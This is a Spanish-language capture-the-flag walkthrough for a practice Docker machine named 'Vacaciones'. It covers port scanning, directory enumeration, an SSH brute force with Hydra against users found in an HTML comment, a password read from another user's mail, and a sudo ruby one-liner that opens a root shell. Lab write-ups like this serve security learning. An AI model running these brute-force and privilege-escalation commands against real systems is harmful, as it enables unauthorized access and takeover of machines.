

4. Máquina: Vacaciones (Muy Fácil)

1. Descubrimiento de Puertos y Servicios con Nmap:
- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.

Comando:

nmap -sVC 172.17.0.2

Resultado:

Se han encontrado los servicios HTTP y ssh abiertos .
2. Búsqueda de directorios activos con Gobuster:
- Usamos Gobuster para encontrar directorios activos en el servicio HTTP.

Comando:

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html

Resultado:

Se encontró javascript , pero no tenemos permiso para acceder a este directorio.
2. Inspección del Código Fuente del Servicio HTTP:
- Debido a que no hemos encontrado información útil sobre los directorios activos, vamos a inspeccionar el directorio el cual tenemos acceso, index.html, el cual de primeras parece vacío, por lo que podríamos sospechar de su contenido.

Comando:

CTRL+U

para inspeccionar el código fuente de la página web HTTP.

Resultado:

En el código fuente del servicio HTTP, encontramos un comentario con dos nombres (Juan y Camilo) que proporciona la siguiente información: <!-- De : Juan Para: Camilo , te he dejado un correo es importante... -->
3. Ataque de fuerza bruta con Hydra:
- Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta Hydra utilizando el nombre de usuario Juan y Camilo, y las contraseñas de rockyou.txt.

Comandos:

hydra -l juan -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh hydra -l camilo-P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh

Resultado:

Para Juan, no hemos obtenido unas credenciales válidas, pero para el usuario Camilo se encontró la contraseña "password1".
4. Exploración como Usuario Camilo:
- Una vez dentro del usuario Camilo, vamos a verificar los permisos que tiene este usuario sobre la máquina víctima.

Comandos:

sudo -l find / -perm -4000 2>/dev/null

Resultado:

Observamos que no tiene permisos de sudo y no encontramos ningún binario vulnerable con el comando find .
5. Exploración de Directorios Raíz:
- Como no hemos obtenido información útil sobre los permisos de Camilo, vamos a realizar una exploración de directorios.

Comandos:

Navegación de directorios (cd , ls)

Resultado:

Moviéndonos por los directorios, encontramos las carpetas de los usuarios Juan y Pedro, aunque ambas parecen estar vacías desde la perspectiva del usuario Camilo. Sin embargo, navegando por los directorios raíz, entramos a /var/mail y encontramos un correo para Camilo que dice: Hola Camilo, Me voy de vacaciones y no he terminado el trabajo que me dio el jefe. Por si acaso lo pide, aquí tienes la contraseña: 2k84dicb
6. Inicio de Sesión como Usuario Juan:
- Con las credenciales del usuario Juan encontradas en el correo, podemos iniciar sesión usando con su username mediante SSH.

Comando:

ssh juan@172.17.0.2 y password encontrada (2k84dicb).

Resultado:


Nos encontramos loggeados como usuario Juan en la máquina víctima.
7. Verificación de Permisos de Sudo para Juan:
- Una vez dentro del usuario Juan, vamos a verificar los permisos que tiene este usuario sobre la máquina víctima.

Comandos:

sudo -l find / -perm -4000 2>/dev/null

Resultado:

Con sudo -l , descubrimos que puede ejecutar el binario /usr/bin/ruby sin necesidad de contraseña.
8. Escalado de Privilegios para Juan:

- Habiendo observado que Juan puede ejecutar binarios Ruby, buscamos un exploit en *ruby* para realizar la escalada de privilegios en  [GTFOBins](#) .

- **Comando:** `sudo ruby -e 'exec "/bin/sh"'`

- **Resultado:** Ejecutamos el comando y obtenemos acceso como usuario root en la máquina víctima desde el usuario Juan. ¡Fin de la resolución!

```
(root@kali)-[/home/kali/Desktop/Dockerlabs/trust]
# ssh juan@172.17.0.2
juan@172.17.0.2's password:
$ whoami
juan
$ ls
$ whoami
juan
$ sudo -l
Matching Defaults entries for juan on df3ea660a59c:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User juan may run the following commands on df3ea660a59c:
    (ALL) NOPASSWD: /usr/bin/ruby
$ sudo ruby -e 'exec "/bin/sh"'
# whoami
root
# xDalik
/bin/sh: 2: xDalik: not found
```